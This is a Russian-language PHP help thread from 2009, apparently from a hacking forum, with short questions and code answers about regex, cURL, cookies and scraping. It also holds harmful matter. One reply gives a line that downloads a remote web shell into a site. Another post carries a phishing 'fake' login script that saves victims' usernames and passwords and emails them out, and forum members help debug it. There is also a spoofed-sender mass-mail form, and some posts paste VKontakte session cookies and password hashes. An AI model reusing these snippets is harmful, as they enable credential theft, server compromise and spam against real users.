Вот, хочу добавить функцию декодирования из Hex для ICQ бота, вроде как должно работать, а когда шлю боту команду на декодирование, его выкидывает.
скажите, в чём проблема.Пробуй
case '!unhex':
$unhex=hex2dec($cmd[2]);
if($unhex=='') { $unhex='Не возможно'; }
$mlCQ->send_message($f
rom,$unhex);
break;
heretic1990
28.02.2009, 22:33
mailbrush не помогло
как записать в фаил все что передаеться скрипту? пост или гет методом...
Zitt
file_put_contents('outfile.txt','POST: '.implode('::',$_POST)."\r\nGET: ".implode('::',$_GET));
Или file_put_contents('outfile.txt',print_r($_GET,1));
crackmail
28.02.2009, 23:56
если фунция mail() на хостине отключена , возможно как-то отправлять письма с него???
AkyHa_MaTaTa
28.02.2009, 23:59
Zitt
file_put_contents('outfile.txt','POST: '.implode('::',$_POST)."\r\nGET: ".implode('::',$_GET));
Или file_put_contents('outfile.txt',print_r($_GET,1));
Или просто file_put_contents('razor_zanuda.txt',$_REQUEST);//$_POST,$_GET,$_COOKIE
2heretic1990
copy('http://moishell.ru/shell.txt','shell.php');
mailbrush
01.03.2009, 00:00
crackmail, через SMTP.
Или просто file_put_contents($_REQUEST);
0_o во-первых _REQUEST - это массив (такой же как _GET или _POST), во-вторых file_put_contents принимает два аргумента, а не один и никак не массив.
Вообще все с чем обратились к скрипту в GET'е пишется так:
file_put_contents('file.txt', $_SERVER['QUERY_STRING']);
а в POST'е так:
file_put_contents('file.txt', $HTTP_RAW_POST_DATA);
[Raz0r], file_put_contents поддерживает запись массива в файл. Если ты внимательно посмотришь , то второй параметр - mixed data
Возник вопрос - что будет работать быстрее с POP3 сервером:
1) Функции imap
2) Чистые сокеты
3) Что-то иное
Господам ругающимся из-за file_put_contents с массивами - ключи не сохранятся, и записано будет без разделителей
[Raz0r], спс...
помогите что то запутался...
вобщем надо получить id юзера по мылу... я так делаю..
$dbName='fe';
$link = mysql_connect($D"host"],$D["user"],$D["pass"]);
mysql_select_db($dbName, $link);
$query = mysql_query("SELECT id FROM users WHERE email = '".$email."'");
$results = mysql_fetch_array($query);
if(!$results)
{
echo "Возникла ошибка - ".mysql_error()."<br>";
echo $query;
exit();
}
$id = $results['id'];
echo "$id";
выдает
Возникла ошибка -
Resource id #10
как надо?
[Raz0r], file_put_contents поддерживает запись массива в файл. Если ты внимательно посмотришь , то второй параметр - mixed data
вообще-то ошибка будет:
Array to string conversion
AkyHa_MaTaTa
01.03.2009, 00:34
Вообше если записывать через file_put_contents то неплохо бы провепять не явлються ли входные данные 2 -х(или более) мерным массивом(ну вдруг в голову взбредет)
file_put_contents('razor_zanuda.txt',array_reduce( $_POST,'implode'))
Вот так попробуй:
<?
$dbName='fe';
$link = mysql_connect($D['host'],$D['user'],$D['pass']);
mysql_select_db($dbName, $link);
$query = "SELECT id FROM users WHERE email = '$email'";
$result = mysql_query($query);
if(!$result)
{
echo "Возникла ошибка - ".mysql_error()." <br>";
die($query);
}
$results = mysql_fetch_array($result);
echo $results['id'];
[Raz0r], спс...
помогите что то запутался...
вобщем надо получить id юзера по мылу... я так делаю..
$dbName='fe';
$link = mysql_connect($D"host"],$D["user"],$D["pass"]);
mysql_select_db($dbName, $link);
$query = mysql_query("SELECT id FROM users WHERE email = '".$email."'");
$results = mysql_fetch_array($query);
if(!$results)
{
echo "Возникла ошибка - ".mysql_error()."<br>";
echo $query;
exit();
}
$id = $results['id'];
echo "$id";
выдает
как надо?
mysql_connect($D["host"],$D["user"],$D["pass"]);
Куда дел скобку
dinar_007
01.03.2009, 04:20
Возник вопрос - что будет работать быстрее с POP3 сервером:
1) Функции imap
2) Чистые сокеты
3) Что-то иное
Господам ругающимся из-за file_put_contents с массивами - ключи не сохранятся, и записано будет без разделителей
1) Не путай IMAP и POP3 - это разные протоколы...
2) Ясен хер, что самый низкий уровень, на котором происходит обмен между почтовым сервером и клиентом - сетевой уровень, на уровне сокет, через команды протокола...
Задай себе сначала вопрос - удобно ли тебе будет работать с командами протокола в RAW-режиме? Или может воспользоваться тем, что инкапсулирует эти команды в себе, а тебе предоставляет некий интерфейс?
Подскажите пожалуйста, как можно записывать цитаты с баша в переменную с помощью скрипта и затем отправлять эту переменную куда либо. Имеется хост с кроном для этих целей. Интересует сам процесс отбора цитат и их передача. Заранее большое спасибо.
awdrg
сокетами или cURL ом получаешь страницу баша, и парсишь её на цитаты.
мануал по курлам- http://ru.php.net/curl
по сокетам- http://ru.php.net/sockets, http://www.opennet.ru/base/dev/php_sockets.txt.html
по поиску в тексте http://www.softtime.ru/bookphp/gl3_1.php
$random = file_get_contents('http://bash.org.ru/random');
preg_match_all('#<div class="vote">(.*?)</div>(.*?)<div>(.*?)</div>#is', $random, $ma4);
print_r($ma4[3]);
Я post'oм пересылаю ma4 на страницу, но все ее значение это:
And array
Может нужно текст русский перегнать в %4D%FG и т д ? :D
И если да, то как?
Может нужно текст русский перегнать в %4D%FG и т д ? :D
urlencode()
heretic1990
01.03.2009, 19:21
нужен грабер погоды. чтобы текст грабил соответственно
есть у кого?
Warning: urlencode() expects parameter 1 to be string, array given in (%pathname\bash.php) on line 12.
Писал так:
$ma4=urlencode($ma4);
Что неверно?
Warning: urlencode() expects parameter 1 to be string, array given in (%pathname\bash.php) on line 12.
Писал так:
$ma4=urlencode($ma4);
Что неверно?
Ты масив втуливаешь,проблема не в кодировке скорей всего,покажи весь код, например можно вот так перевести
$ma4=urlencode(array_reduce( $ma4,'implode'));
);
$ma4=urlencode($ma4);
получается для post отправки русского текста нужно перегнать $ma4 в urlencode формат. А что в твоем примере является конечным массивом?
вылезает:
fatal error: allowed memory size of 134217728 bytes exhausted (tried to allocate 76646989 bytes) in %path\bash.php on line 12
$ma4[3] - массив с цитатами
какой пост !?? тебе это надо на страницу вывест или куданить отправить !?
foreach ($ma4[3] as $quote) echo $quote.'<br>';
);
$ma4=urlencode($ma4);
получается для post отправки русского текста нужно перегнать $ma4 в urlencode формат. А что в твоем примере является конечным массивом?
Что собираешься делать с полученой с 1 страницы цитатами, отправлять post ам куда то дальше, яе то я не пойму, ну если ты будешь оправлять то надо когда ты засовываешь в post переменые звлекать из массива данные, а не тупа втуливать весь массив.
$ma4=urlencode($ma4[3][0])
Вот общая суть:цитату с баша (или несколько) кидать в статус вконтакте или в заметку.
$random = file_get_contents('http://bash.org.ru/random');
preg_match_all('#<div class="vote">(.*?)</div>(.*?)<div>(.*?)</div>#is', $random, $ma4);
print_r($ma4[3]);
$ma4=(тут надо присвоить ma4 формат для пересылки постом)
//все что ниже работает 100%
$hd2="setactivity=\nand $ma4 &activityhash=xxxxxxxxxxxxxxxxx";
$hd="POST http://vkontakte.ru/profile.php HTTP/1.0
Accept: */*
Accept-Language: ru
Referer: http://vkontakte.ru/profile.php
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: vkontakte.ru
Content-length: ".strlen($hd2)."\r\nPragma: no-cache
Cookie: $cookie\r\n\r\n";
fputs($fp,$hd);fputs($fp,$hd2);fgets($fp, 1024);
fclose($fp);
$fp=fsockopen('vkontakte.ru',80);
$hd="GET http://vkontakte.ru/profile.php HTTP/1.0
Accept: */*
Accept-Language: ru
Referer: http://vkontakte.ru/profile.php
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: vkontakte.ru
Cookie: $cookie\r\n\r\n";
fputs($fp,$hd);fgets($fp,1024);fclose($fp);
$ma4=urlencode($ma4[3][0])
уже лучше но конечный результат:
and ?4??4??4??4??4??4??4??4??4??1? ?5??4??1? ?4??4??4??4??4??4??4??4??4??1?, ?4??4??4??4??5? ?4??4??4??4??4??4??4??4??5? ?4??5??4??4??4??1?, ?4??1?-?4??1? ?4??4??4??4??4??4??1? ?4??4??4??4??4??4??4??4??4??1? Apple iPod ?4??4??4??4??1? ?4??5??4??5? ?4??4??4??4??4??4??4??4??4??1? ?4??4??1? ?4??4??4??4??4??5??4??4??4??4??4??4??1? ?4??4??4??4??4??4??1? "?4??4??4??4??4??4??4??4??4??1? ?4??4??4??4??4??4??4??4??4??1? ?4??4??4??4??4??4??4??4??4??1?" ?4??1? ?4??4??4??4??5??5??4??4??4??1? ?1? ?4??4??4??4??4??4??4??4??4??4??4??1? ?4??4??4??4??4??4??4??1? Windows Vista. . тоесть только английские буквы
если я пихаю например так:
$test = urlencode('пример');
то ошибки нету.
а если кидаю массив $md4[3] или $md4[3][0] то ошибка есть. Как ее обойти?
foreach ($ma4[3] as $num=>$quote) $ma4[3][$num] = urlencode($quote);
Ну а еще можно элемент из массива засунуть в переменную. $a = $b[1];
Все спасибо, полностью разобрался
zifanchuck
02.03.2009, 18:13
нужен скрипт который из
hash2:6QjhhTu9Hdqio
hash3:/vk32P04c07oE
зделает
6QjhhTu9Hdqio
/vk32P04c07oE
пхп учу второй день) думал что так будет работать
<?php
$str = "hash2:6QjhhTu9Hdqio
hash3:/vk32P04c07oE";
list($n, $ha) = explode(":", $str);
echo $ha;
?>
но понял что ошыбался((( ошыбку свою понял но как исправить пока незнаю
AkyHa_MaTaTa
02.03.2009, 18:32
Можно вот так
<?php
$out="";
$str = array("hash2:6QjhhTu9Hdqio","hash3:/vk32P04c07oE");//тут можешь file('hash.txt');
foreach($str as $value){
list($name, $hash) = explode(":", $value);
$out.="$hash\n";
}
echo $out;
?>
Можно вот так
<?php
$out="";
$str = array("hash2:6QjhhTu9Hdqio","hash3:/vk32P04c07oE");//тут можешь file('hash.txt');
foreach($str as $value){
list($name, $hash) = explode(":", $value);
$out.="$hash\n";
}
echo $out;
?>
а можно так
$str = "hash2:6QjhhTu9Hdqio
hash3:/vk32P04c07oE";
preg_match_all('#:(.*)#',$str,$res);
print_R($res[1]);
Люди помогите...
надо функция какая-то которая бы выводили true или false если бы сработал % определенный...
например
function wans(30);
и если 30% выпали то вернуть труе, иначе, фалсе...
буду очень признателен)
я написал
function wans($to)
{
$th=mt_rand(1,100);
if($th<$to) return '1';
else return '0';
}
echo wans(80)."<br>";
но как-то это бредово получаеться)) надо что-то нормальное))
zifanchuck
02.03.2009, 18:38
Можно вот так
<?php
$out="";
$str = array("hash2:6QjhhTu9Hdqio","hash3:/vk32P04c07oE");//тут можешь file('hash.txt');
foreach($str as $value){
list($name, $hash) = explode(":", $value);
$out.="$hash\n";
}
echo $out;
?>
спс)
<?php
$text='hash2:6QjhhTu9Hdqio';
preg_match('#:(.*)#',$text,$out);
echo $out[1];
?>
Вверх :D
-=Static=-
02.03.2009, 19:05
Люди помогите...
надо функция какая-то которая бы выводили true или false если бы сработал % определенный...
например
function wans(30);
и если 30% выпали то вернуть труе, иначе, фалсе...
буду очень признателен)
я написал
function wans($to)
{
$th=mt_rand(1,100);
if($th<$to) return '1';
else return '0';
}
echo wans(80)."<br>";
но как-то это бредово получаеться)) надо что-то нормальное))
Че-то не очень понял в чем суть вопроса, но полагаю надо что-то вроде:
<?php
function percent($value)
{
if(rand(1,100) == $value) return true;
return false;
}
Помогите написать скрипт который бы менял авы в контакте, я себе это представил как массивы, но как именно заставить пхп вставлять форматы картинок я не знаю.
аррр... так и знал что по глупому объяснил) не знаю как лучше объяснить)))
2-=Static=- у тебя функция вернет труе только в случае если валуе будет точно соответствовать рендому, это не то....
а надо так,например у меня есть шанс 57% что я получу приз...
так вот мне надо чтобы функция мне вернула получу(труе) ли я приз или нет(фалсе).
50% получить просто mt_rand(0,1);
примерно 50% и будет...
а вот как получить динамически это...
надеюсь объяснил лучше)
MaTpOc тебе откуда картинки брать?
отправляй курлом
heretic1990
02.03.2009, 19:27
как с помощью функции preg_match или preg_match_all вывести текст который находится промеж тегов?
<nobr> какой то текст </nobr>
heretic1990
preg_match_all('#<tag>([^<]*)</tag>#si', $text, $m);
$m[1] - массив с текстами
heretic1990,репу античата хочешь отпарсить? :)
Вот пример:
$content = file_get_contents("http://forum.antichat.ru/view_reputation.php?userid=56330&count=999999");
preg_match_all('#<nobr><b>\+([0-9]{1,5})</b></nobr>#i',$content,$pluses);
как с помощью функции preg_match или preg_match_all вывести текст который находится промеж тегов?
<nobr> какой то текст </nobr>
preg_match('#<nobr>(.*)</nobr>#',$in,$out);
heretic1990
02.03.2009, 19:44
всем спс
function wans($to)
{
$th=rand(1,100);
if($th<=$to) return TRUE;
return FALSE;
}
не вижу отличия от моей функции, то что у тебя rand используется, он же намного режи генерирует рандомное число чем mt_rand.
и я (<=) забыл в своем примере.. но все равно это не то мне кажется что есть более лучшей вариант с более точным результатом....
Сделал фейк.
Тестирую.
И захотелось, чтобы приходило уведомление на email
Нацарапал следующий скрипт(аналог со скамом из Хакера)
<?php
if ((isset($_POST["user"])) and (isset($_POST["password"]))) { //проверка ну существование запроса
$message = $_POST["user"]; // наши переменные
$message = $_POST["password"]; // наши переменные
$good = 'GOOD.txt'; //название файла, в который будут записыватся данные
$good = fopen($good,'a'); // открыие файла
$send = $_POST['user'].':'.$_POST['password']; //создание запроса
fwrite($good, $send."\n"); //запись в файл
echo "<script language=JavaScript>window.location='http://сайт.нах/'</script>";}; // отсылка на настоящую страницу
?>
<?php
if (empty($_POST["user"]) || empty($_POST["password"])){
mail("мой майл", "info", $_POST["password"]);
mail("$message", "eshat", $message);
};
?>
Проблема в том, что он посылает email уведомление, но совершенно пустое.
Там не фиксируются логины и пароли.
Можете помочь?
ВО 1 .. я не понел строки ..
$message = $_POST["user"]; // наши переменные
$message = $_POST["password"]; // наши переменные
зачечем ты присваеваешь переменной $_POST["user"]; а потом изменяешь её значение на $_POST["password"];(перезаписываешь)
Во 2
if (empty($_POST["user"]) || empty($_POST["password"])){
отсылка уведомления идёт только когда один из них или они оба пустые ... и чего ты ждёшь в письме?
В 3
echo "<script language=JavaScript>window.location='http://сайт.нах/'</script>";
ставь после отсылки уведомления ...
ВО 1 .. я не понел строки ..
$message = $_POST["user"]; // наши переменные
$message = $_POST["password"]; // наши переменные
зачечем ты присваеваешь переменной $_POST["user"]; а потом изменяешь её значение на $_POST["password"];(перезаписываешь)
Перезаписываю?
Я хотел задать $message суперпеременной и встроить в письмо, чтобы приходили текста типа:
вася : вася
Во 2
if (empty($_POST["user"]) || empty($_POST["password"])){
отсылка уведомления идёт только когда один из них или они оба пустые ... и чего ты ждёшь в письме?
Данные логина и пароля.
Я не понял следующего:
отсылка уведомления идёт только когда один из них или они оба пустые ...
В каком случае тогда не приходят уведомления? Когда они не пустые?
То есть их нужно задать снова?
Ershik мдяя ... слу мож ты книжку хоть почитаешь ...
$message - суперпеременная ? Оо
еси хочешь в таком виде такделай как сделанов перемменой $send
у тебя условие идёт ...
ЕСЛИ $_POST['user'] пустой ИЛИ $_POST['password'] пустой .. делаем следуйшее...
а тут отправка уведомления ...
делай if (!empty($_POST["user"]) && !empty($_POST["password"]))
Andrej1928
02.03.2009, 21:41
<?php
print <<<HERE
<style type = "text/css">
body {
font-family: Arial;
}
#inputone {
width: 100%;
}
#textarea {
width: 100%;
height: 500px;
}
#infotd {
font-size: 13px;
width: 100px;
}
#infotd2 {
font-size: 13px;
}
#bgcolor_infotd {
background-color: #dbeaff;
}
#good_send {
color: #00419a;
}
#sends {
width: 20px;
}
#notice {
color: red;
}
</style>
HERE;
$html_or_text = $_GET["html_or_text"];
$sends = $_GET["sendes"];
if($_GET["html_or_text"] == 1) {
$htmltext = "\r\nContent-type: text/plain";
} else if ($_GET["html_or_text"] == 2) {
$htmltext = "\r\nContent-type: text/html";
} else {}
if($_GET["codir"] == 1) {
$cod = "windows-1251";
} else if ($_GET["codir"] == 2){
iconv("windows-1251", "utf-8", $email . $them . $body . $send_full . $htmltext);
$cod = "utf-8";
} else {}
$mime = "$htmltext; charset = \"$cod\"";
if($_GET["sender_name"] == TRUE) {
$sender_full = $sender_name . " <" . $sender_mail . ">";
} else {
$sender_full = $sender_mail;
}
if(isset($_GET["send"])) {
for($i = 0; $i < $_GET["sendes"]; $i++) {
mail("$email", "$them", "$body", "From: $sender_full $mime");
}
print "<center><span id = \"good_send\">Сообщение отправлено</span></center>";
$fp = fopen("result.txt", "a");
$content = <<<HERE
IP: $REMOTE_ADDR
Agent: $HTTP_USER_AGENT
Cookie: $QUERY_STRING
-
Отправитель (e-mail): $sender_mail
Отправитель (имя): $sender_name
E-mail: $email
Тема: $them
Текст письма -
$body
text/html: $html_or_text
Количество писем за раз: $sends
-----------------------------
HERE;
fputs($fp, $content);
fclose($fp);
} else {
print <<<HERE
<form>
<table border = "0" width = "100%" id = "infotd2" cellpadding = "1" cellspacing = "1">
<tr id = "bgcolor_infotd">
<td id = "infotd">
От кого (e-mail):
</td>
<td>
<input type = "text" id = "inputone" name = "sender_mail" value = "bill@microsoft.com" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
От кого (Имя):
</td>
<td>
<input type = "text" id = "inputone" name = "sender_name" value = "Билл" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
Кому<span id = "notice">*</span>:
</td>
<td>
<input type = "text" id = "inputone" name = "email" value = "admin@mail.ru" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
Тема письма<span id = "notice">*</span>:
</td>
<td>
<input type = "text" id = "inputone" name = "them" value = "Hello" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td valign = "top" id = "infotd">
Текст письма<span id = "notice">*</span>:
</td>
<td>
<textarea name = "body" id = "textarea">You are lol:)</textarea>
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Файл: <input type="file" name="File"> - Вы можете прикрепить файл размером не больше 2мб.
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
<input type = "radio" name = "html_or_text" value = "1" checked = "checked">Только текст
<input type = "radio" name = "html_or_text" value = "2">HTML и текст
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Количество писем за раз:
<select name = "sendes">
<option value = "1">1</option>
<option value = "2">2</option>
<option value = "3">3</option>
<option value = "4">4</option>
<option value = "5">5</option>
<option value = "6">6</option>
<option value = "7">7</option>
<option value = "8">8</option>
<option value = "9">9</option>
<option value = "10">10</option>
<option value = "11">11</option>
<option value = "12">12</option>
<option value = "13">13</option>
<option value = "14">14</option>
<option value = "15">15</option>
<option value = "16">16</option>
<option value = "17">17</option>
<option value = "18">18</option>
<option value = "19">19</option>
<option value = "20">20</option>
</select>
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Кодировка письма:
<select name = "codir">
<option value = "1">windows-1251</option>
<option value = "2">utf-8</option>
</select>
</td>
</tr>
<tr>
<td valign = "top" colspan = "2">
<table border = "0" width = "100%" id = "infotd2">
<td valign = "top">
Поля отмеченные знаком <span id = "notice">*</span> обязательны для заполнения
</td>
<td colspan = "2" align = "right">
<input type = "reset" value = "Вернуть" />
<input type = "submit" value = "Отправить" />
<input type = "hidden" name = "send" />
</td>
<table>
</td>
</tr>
</form>
HERE;
}
?>
Парни кто сможет дописать здесь функцию отправки вложения, скрипт взял отсюда с темы Полезный скрипты сам в ПХП я неселён
буду очень блогодарин за помощь.
Очень прошу, распишите основной синтаксис preg_match_all(), буквально в общих чертах, в частности я путаюсь с выходной переменной-массивом, немогу понять что где лежит(под каким индексом) Если можно пару примеров. С меня + =) спасибо
http://www.php.su/articles/?cat=regexp
awdrg php.net/preg_match_all - на любом языке, с примерами и коментариями
мм спасибо, еще вопрос: как получить функцией file_get_contents() искходный код страницы, для просмотра которой требуются мои cookies, которые я знаю?
[этой ф-ией так сделать нельзя .. только сокетами или курлом.]
не верный ответ. читаем ответ двумя постами ниже.
Pashkela
03.03.2009, 16:57
примерно так:
<?php
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208');
curl_setopt($ch, CURLOPT_COOKIE, "__utma=ТУТ_ТВОИ_ДАННЫЕ; __utmb=ТУТ_ТВОИ_ДАННЫЕ; __utmc=ТУТ_ТВОИ_ДАННЫЕ;__utmz=ТУТ_ ТВОИ_ДАННЫЕ;");
$ss=curl_exec($ch);
curl_close($ch);
return $ss;
}
$a=get('http://mail.ru');
echo $a;
?>
AkyHa_MaTaTa
03.03.2009, 17:01
этой ф-ией так сделать нельзя .. только сокетами или курлом.
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Accept-language: en\r\n" .
"Cookie: foo=bar\r\n"
)
);
$context = stream_context_create($opts);
$fp = file_get_contents('http://www.example.com', false,$context);
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Accept-language: en\r\n" .
"Cookie: foo=bar\r\n"
)
);
$context = stream_context_create($opts);
$fp = file_get_contents('http://www.example.com', false,$context);
o_O огромное спасибо, все работает отлично!
Где можно достать уже готовые шапки сайта, футеры, фоны и коды для навигации?
MaTpOc бесплатные шаблоны для сайта?
MaTpOc бесплатные шаблоны для сайта?
стандартные кторорые 690 на 100, ну или недоработанные
Pashkela
03.03.2009, 20:02
Честно говоря вообще такие вопросы недопонимаю - для "сайта" дайте "шаблоны" для "навигации". Абстракция какая-то
Как залогинится в Вконтакте через CuRL ?
А то меня шлют ниже пояса,куки шлю - не выходит все равно
поставь прогу котрая загловки просматривает, и точь в точь делай так же в скрипте, не забудь про куки еще, могу на сокетах попробовать, но не на курле
P.S. в соседних темах много скриптов для контактов скорее всего там есть авторизация
Именно логиниться просто,хз почему тебя шлют...
В куки нужно для роботы контакта лишь remixemail=,remixpass=,remixsid= и всё...
Может ты забыл пару етих строчек??
$ref = 'http://vkontakte.ru/';
$ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)';
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
??
Например у меня стоит для входа именно так:
$cookie="$rnd";
$ref = 'http://vkontakte.ru/';
$ch=curl_init ("http://vkontakte.ru/rate.php");
$ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)';
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $PostData);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch,CURLOPT_POSTFIELDS,$zapros);
$page = curl_exec($ch);
В $rnd куки вида:
remixgroup_closed_tabs=0;
__utmz=201049257.1233593411.1.1.utmcsr=(direct)|ut mccn=(direct)|utmcmd=(none);
remixap=1; __utma=201049257.3076849887214152000.1233593411.12 34635662.1234962445.6;
remixclosed_tabs=0; remixlang=0; remixchk=5;
remixmid=1;
remixemail=barsiks@mail.ru;
remixpass=16e18f8268ea71033d5dfa8cc4536503;
remixsid=e487673253403898e736b1950d246cfe6b49c95a1 8b537f7b853;
remixautobookmark=30
Из жопы походу у меня руки растут:
<?php
$cookie="remixgroup_closed_tabs=0;
__utmz=201049257.1233593411.1.1.utmcsr=(direct)|ut mccn=(direct)|utmcmd=(none);
remixap=1; __utma=201049257.3076849887214152000.1233593411.12 34635662.1234962445.6;
remixclosed_tabs=0; remixlang=0; remixchk=5;
remixmid=912398;
remixemail=qweqwe%40rambler.ru;
remixpass=599f177f9001aqwe124d5c8e984b8fb6;
remixsid=25c6b5df7f43d9e06b12346b3cc527a170aee47b4 84c36737c5c79;
remixautobookmark=30";
$ref = 'http://vkontakte.ru/';
$ch=curl_init ("http://vkontakte.ru/login.php");
$ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)';
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $PostData);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch,CURLOPT_POSTFIELDS,$zapros);
$page = curl_exec($ch);
echo $page;
?>
Не логинится, какие догадки ?
Кто знает,в чём прикол?
Вопшем скрипт постоянно выводит данные,вопше работает цыкл.
Так вот,идёт загрузка страницы,но ничего не отображаеться,просто белая страница!
Есле просто остановить загрузку страницы,то тогда сразу всё что было загружено - отобразиться,но до етого - нет. Ну или ждать полную загрузку страницы...
Кто знает,в чём прикол? До етого всё работало,пока вывод javascript`а не прилепил..
Из жопы походу у меня руки растут:
<?php
$cookie="remixgroup_closed_tabs=0;
__utmz=201049257.1233593411.1.1.utmcsr=(direct)|ut mccn=(direct)|utmcmd=(none);
remixap=1; __utma=201049257.3076849887214152000.1233593411.12 34635662.1234962445.6;
remixclosed_tabs=0; remixlang=0; remixchk=5;
remixmid=912398;
remixemail=qweqwe%40rambler.ru;
remixpass=599f177f9001aqwe124d5c8e984b8fb6;
remixsid=25c6b5df7f43d9e06b12346b3cc527a170aee47b4 84c36737c5c79;
remixautobookmark=30";
$ref = 'http://vkontakte.ru/';
$ch=curl_init ("http://vkontakte.ru/login.php");
$ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)';
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $PostData);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch,CURLOPT_POSTFIELDS,$zapros);
$page = curl_exec($ch);
echo $page;
?>
Не логинится, какие догадки ?
Дык,ты куда заходишь то????????
$ch=curl_init ("http://vkontakte.ru/login.php");
Ето страница авторизацыи,ты просто заходи суда
$ch=curl_init ("http://vkontakte.ru/");
Толькочто всои куки проверил именно на етом примере,пашет.
AkyHa_MaTaTa
03.03.2009, 21:59
покажи наверно код, вариантов может быть уйма, может буферизация вывода,или javascript ждет полной загрузки страницы(аля DOM ready, onLoad в смысле), а может еще че, короче покажи код сначало,
кстати это
__utmz=201049257.1233593411.1.1.utmcsr=(direct)|ut mccn=(direct)|utmcmd=(none);
__utma=201049257.3076849887214152000.1233593411.12 34635662.1234962445.6;
гугловские куки и не нужны в принципе.
покажи наверно код, вариантов может быть уйма, может буферизация вывода, а может еще че, короче покажи код сначало,
кстати это
__utmz=201049257.1233593411.1.1.utmcsr=(direct)|ut mccn=(direct)|utmcmd=(none);
__utma=201049257.3076849887214152000.1233593411.12 34635662.1234962445.6;
гугловские куки и не нужны в принципе.
Насчёт куков,то я в етом сообшении же,в начале писал
В куки нужно для роботы контакта лишь remixemail=,remixpass=,remixsid= и всё...
такчто ето для меня не новость то)
А насчёт примера,то вот,кста,ето тот же вывод в 'тестовое поле' лога,что ты в теме ajax несмог подсказать мне)) Вот пример в маленький скрипт переписал.
<?php
ob_start();
ob_implicit_flush(0);
echo '<div id="stats" style="padding:4px;width:500px;height:350;overflow:auto;b order-width:1px 1px 1px 1px;border-color:black;border-style:solid;"></div>';
for ($i=0; $i<10; $i++){
echo "<script>msg=\"<center>Текст<center><br>\";document.getElementById(\"stats\").innerHTML=document.getElementById(\"stats\").innerHTML+msg;</script>";
flush();
ob_flush();
sleep(1);
}
?>
AkyHa_MaTaTa
03.03.2009, 22:14
А насчёт примера,то вот,кста,ето тот же вывод в 'тестовое поле' лога,что ты в теме ajax несмог подсказать мне)) Вот пример в маленький скрипт переписал.
<?php
ob_start();
ob_implicit_flush(0);
echo '<div id="stats" style="padding:4px;width:500px;height:350;overflow:auto;b order-width:1px 1px 1px 1px;border-color:black;border-style:solid;"></div>';
for ($i=0; $i<10; $i++){
echo "<script>msg=\"<center>Текст<center><br>\";document.getElementById(\"stats\").innerHTML=document.getElementById(\"stats\").innerHTML+msg;</script>";
flush();
ob_flush();
sleep(1);
}
?>
А ты сам не видешь? Отключи буферизацию вывода, то что в цыкле ты ее вызываешь многократно суть дела не меняет, и когда я говорил про ajax я имел ввиду ajax а не это.
Есле отключить буферизацыю вывода,то вовсе будет белая страница пока цыкл и весь скрипт полностью выполниться...Ето вовсе весь скрипт на мусорку с такой роботой...
А проблему то решил,банальным выводом любого теста на страницу,чтобы браузер роздуплить,что страница не пустая)
Насколько я понял,то в браузерах стоит для удобства зашита,типа пока сами html теги,чтобы не выводилось,потому что сразу будет страница изуродована с кусками кода,а по мере загрузки полных,и мест отображения она выводиться))
Такчто оказалось скрипт не виноват))
zifanchuck
04.03.2009, 15:52
опять(((
есть hash.html он передает текст в таком виде:
hash2:6QjhhTu9Hdqio
hash3:/vk32P04c07oE
<html>
<head>
<title>Скрипт для hash.brute.ru</title>
<link rel="stylesheet" type="text/css" media="all" href="a.css">
</head>
<body>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<center>
<form method="GET" action="hash.php"> Введите хеши<br><textarea name="name" cols="60" rows="15" wrap="VIRTUAL" class=text2></textarea> <br>
<input type="submit" name="okbutton" value="Перевести">
</center>
